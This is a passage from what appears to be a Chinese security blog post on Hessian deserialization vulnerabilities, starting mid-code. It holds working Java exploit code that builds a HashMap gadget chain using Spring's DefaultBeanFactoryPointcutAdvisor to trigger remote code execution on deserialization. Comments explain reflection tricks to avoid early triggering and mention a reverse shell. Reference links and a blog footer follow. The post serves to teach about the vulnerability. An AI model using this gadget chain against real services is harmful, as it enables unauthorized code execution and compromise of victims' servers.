DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor();
defaultBeanFactoryPointcutAdvisor.setBeanFactory(beanFactory);
defaultBeanFactoryPointcutAdvisor.setAdviceBeanName(url); //修改属性,满足if的需要

HashMap map = makeMap(new DefaultBeanFactoryPointcutAdvisor(),defaultBeanFactoryPointcutAdvisor);

byte[] payload = Hessian2_serialize(map);
Hessian2_unserialize(payload);
}

//hashmap的put实际上就是,防止提前调用hashcode()
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
setValue(map, "size", 2); //设置size为2,就代表着有两组
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(map, "table", tbl);
return map;
}

//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

//hessian依赖的序列化
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}

//hessian依赖的反序列化
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}

13

参考文章:

https://goodapple.top/archives/1193

https://cloud.tencent.com/developer/article/2318125

https://su18.org/post/hessian/

https://justdoittt.top/2024/03/13/Hessian%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

https://blog.csdn.net/uuzeray/article/details/136818156


Hessian反序列化
http://example.com/2025/03/03/Hessian反序列化/
作者
Infernity
发布于
2025年3月3日
许可协议